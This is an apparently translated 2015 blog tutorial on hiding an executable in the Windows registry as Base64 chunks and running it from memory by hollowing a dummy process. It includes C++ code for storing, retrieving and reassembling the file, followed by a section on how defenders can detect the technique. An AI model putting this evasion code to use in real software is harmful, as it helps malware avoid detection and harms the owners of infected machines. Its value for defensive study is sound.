Netwind · 2015/08/28 13:03

This article focuses on a rare malware writing technique: hiding executable code in the Windows registry. This technique requires us to write a portion or entry of the executable file into the registry, then load and execute it. This technique is intended to hide the potentially malicious functions of binaries, replacing them with keys scattered throughout the Windows registry, ultimately making malicious binaries difficult to detect. In practice, the executable code in the key is encoded (re-encoded) a random number of times when it is loaded, making signature scanning more difficult. A good detection strategy is to monitor the process loading data rather than scanning the registry.

0x00 Stores files to the registry


The first step involves importing the file into the registry. The file will be divided into several pieces and written to the registry key values. The file is then extracted, reorganized, and finally executed in a dummy process. There are several ways to do this. Registries have many different key-value types, enough to store data in a variety of formats, including physical binary data, 32/64-bit values, and strings. In practice, files will be BASE64 encoded and stored in the registry as a string (REG_SZ).

Importing data into the registry is simple. The key/value handle is first opened with RegCreateKeyEx. RegCreateKeyEx opens an existing key/value handle or creates a key/value handle, and then reads and writes using RegGetValue and RegSetValueEx. See the following code for detailed operations:

const HKEY OpenRegistryKey(const char * const strKeyName, const bool bCreate = true) { HKEY hKey = nullptr; DWORD dwResult = 0; LONG lRet = RegCreateKeyExA(HKEY_CURRENT_USER, strKeyName, 0, nullptr, 0, KEY_READ | KEY_WRITE | KEY_CREATE_SUB_KEY, nullptr, &hKey, &dwResult); if (lRet ! = ERROR_SUCCESS) { fprintf(stderr, "Could not create/open registry key. Error = %X\n", lRet); exit(-1); } if (bCreate && dwResult == REG_CREATED_NEW_KEY) { fprintf(stdout, "Created new registry key.\n"); } else { fprintf(stdout, "Opened existing registry key.\n"); } return hKey; } void WriteRegistryKeyString(const HKEY hKey, const char * const strValueName, const BYTE *pBytes, const DWORD dwSize) { std::string strEncodedData = base64_encode(pBytes, dwSize); LONG lRet = RegSetValueExA(hKey, strValueName, 0, REG_SZ, (const BYTE *)strEncodedData.c_str(), strEncodedData.length()); if (lRet ! = ERROR_SUCCESS) { fprintf(stderr, "Could not write registry value. Error = %X\n", lRet); exit(-1); } } const std::array<BYTE, READ_WRITE_SIZE> ReadRegistryKeyString(const char * const strKeyName, const char * const strValueName, bool &bErrorOccured) { DWORD dwType = 0; const DWORD dwMaxReadSize = READ_WRITE_SIZE * 2; DWORD dwReadSize = dwMaxReadSize; char strBytesEncoded[READ_WRITE_SIZE * 2] = { 0 }; LONG lRet = RegGetValueA(HKEY_CURRENT_USER, strKeyName, strValueName, RRF_RT_REG_SZ, &dwType, strBytesEncoded, &dwReadSize); std::array<BYTE, READ_WRITE_SIZE> pBytes = { 0 }; std::string strDecoded = base64_decode(std::string(strBytesEncoded)); (void)memcpy(pBytes.data(), strDecoded.c_str(), strDecoded.size()); if (lRet ! = ERROR_SUCCESS) { fprintf(stderr, "Could not read registry value. Error = %X\n", lRet); bErrorOccured = true; } if (dwType ! = REG_SZ || (dwReadSize == 0 || dwReadSize > dwMaxReadSize)) { fprintf(stderr, "Did not correctly read back a string from the registry.\n"); bErrorOccured = true; } return pBytes; }Copy the code

This is basically all you need to do to import a file into the registry. In addition, due to space limitations, there are some additional details that are not shown in the above code, such as splitting the file into small pieces and writing them into different key values. This code is as follows:

void WriteFileToRegistry(const char * const pFilePath)
{
HKEY hKey = OpenRegistryKey("RegistryTest"); 
std::string strSubName = "Part";
std::string strSizeName = "Size";
size_t ulIndex = 1;

auto splitFile = SplitFile(pFilePath);
for (size_t i = 0; i < splitFile.size(); ++i)
{
    std::string strFullName(strSubName + std::to_string(ulIndex));

    WriteRegistryKeyString(hKey, strFullName.c_str(), splitFile[i].data(), READ_WRITE_SIZE);
    ++ulIndex;
}
CloseHandle(hKey);
}
Copy the code

The first level key in the sample code is under HKCU\RegistryTest. The executable is partitioned into blocks of 2048 bytes each and BASE64 encoded with key values named “Part1”, “Part2″… The form “PartN” is written to the registry. After executing the above code, an 8KB file is written to the registry in the following form:

BASE64 decoding can be used to quickly verify that the contents of the key values are correct. The “Part1” key values are decoded and output the following content (trimmed). You can see the PE file header.

MZ[144][0][3][0][0][0][4][0][0][0][255][255][0][0][184][0][0][0][0][0][0][0]@[0][0][0][0][0][0][0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [240] [0] [0] [0] [14] [31] [186] [14] [0] [180] [9] [205]! [184][2]L[205]! This program cannot be run in DOS mode.[13][13] [10]$[0][0][0][0][0][0][0][181]! :Copy the code

At this point the file is already saved in the registry and can be deleted from disk.

0x01 Retrieves files from the registry


At this point, the file is split into smaller pieces and stored in the registry. Extracting files does nothing more than reverse the first section by reading each part of the stored file’s key value, BASE64 decoding, and merging files. Example code is as follows:

NewProcessInfo JoinRegistryToFile(const char * const strKeyName, const char * const strValueName) { NewProcessInfo newProcessInfo = { 0 }; std::vector<std::array<BYTE, READ_WRITE_SIZE>> splitFile; size_t ulKeyIndex = 1; std::string strFullName(strValueName + std::to_string(ulKeyIndex)); bool bErrorOccured = false; auto partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured); while (! bErrorOccured) { splitFile.push_back(partFile); ++ulKeyIndex; strFullName = strValueName + std::to_string(ulKeyIndex); partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured); } newProcessInfo.pFileData = std::unique_ptr<BYTE[]>(new BYTE[splitFile.size() * READ_WRITE_SIZE]); memset(newProcessInfo.pFileData.get(), 0, splitFile.size() * READ_WRITE_SIZE); size_t ulWriteIndex = 0; for (auto &split : splitFile) { (void)memcpy(&newProcessInfo.pFileData.get()[ulWriteIndex * READ_WRITE_SIZE], splitFile[ulWriteIndex].data(), READ_WRITE_SIZE); ++ulWriteIndex; } newProcessInfo.pDosHeader = (IMAGE_DOS_HEADER *)&(newProcessInfo.pFileData.get()[0]); newProcessInfo.pNtHeaders = (IMAGE_NT_HEADERS *)&(newProcessInfo.pFileData.get()[newProcessInfo.pDosHeader->e_lfanew]); return newProcessInfo; }Copy the code

Here in the previous section defined ReadRegistryKeyString function was used to extract the file of each part, then combine each part of the group, and exist newProcessInfo. PFileData. In this structure. There are some additional areas that need to be initialized, such as PE DOS and NT headers, which will be useful in the next section.

Loading the extracted file At this point the file has been extracted from the registry and stored in the memory buffer. If we start the process by writing data to disk, the cart is turned upside down, because the file goes back to disk. Here we use the replacement process (see www.codereversing.com/blog/archiv.) To load our executable file. Next we mount a zombie process (note: any open process) and pause it until it has mapped memory. We then map the files we extracted from the registry to the process in bytes and let the process continue running as follows:

void ExecuteFileFromRegistry(const char * const pValueName)
{
HKEY hKey = OpenRegistryKey("RegistryTest");

auto newProcessInfo = JoinRegistryToFile("RegistryTest", pValueName);
auto processInfo = MapTargetProcess(newProcessInfo, "DummyProcess.exe");
RunTargetProcess(newProcessInfo, processInfo);

CloseHandle(hKey);
}
Copy the code

The MapTargetProcess and RunTargetProcess functions are not posted here because they are basically copied from an article I wrote in 2011. One thing to note here is that the techniques described in this article work only if the puppet processes and the files we need to execute are X86 based and DEP/ASLR is disabled at compile time. I will release the technical details of support for X64 and DEP/ASLR as soon as possible. Our code looks like this after execution:

Here the dummyProcess.exe process (included in the ZIP at the end of this article) has been hollowed out and replaced by another process — replacementProcess.exe (also included in the ZIP). The ZIP package has a “Sample” folder to provide interaction instances. Follow these steps to demonstrate:

rundummyprocess.exeObserve that it is a Win32 UI application.

runwrite.bat, he will callfilelesslauncher.exethereplacementprocess.exeWritten in the bookHKCU \\ registrytestUnder.

deletereplacementprocess.exe.

runexecute.bat, it will callfilelesslauncher.exereadHKCU \\ registrytestUnder the content and reorganizationreplacementprocess.exe. And then useReplacementProcess.exeData to replacedummyprocess.exeMemory data of. The process will continue to run, and a message box will pop up, which isreplacementprocess.exeWhat happens when the code is executed.

Finally, please clean up the registry.

0x02 Summary and code


The techniques presented in this article show how to store an executable file in a registry. There are many options to combat this technology. For example, the code that has been written has to be reorganized in some way, which means that malicious files are hard-coded somewhere or configuration instructions for extracting files from the registry. These can all be used to mark the signature of malware. In addition, since the use of process replacement technology, can also take advantage of the weaknesses of the technology to detect. For example, comparing the memory mirror of a puppet process to the disk mirror, there must be many differences. Malware can also be quickly detected by dynamic analysis: monitor calls to registry API functions and check if the NtUnmapViewOfSection function is called as a marker.

This article code of Visual Studio 2015 project files: codereversing.com/runfromreg….

X64 Windows 7, 8.1, and 10 test successful code: github.com/codereversi…

Code updates Please pay attention to Twitter:twitter.com/codereversi…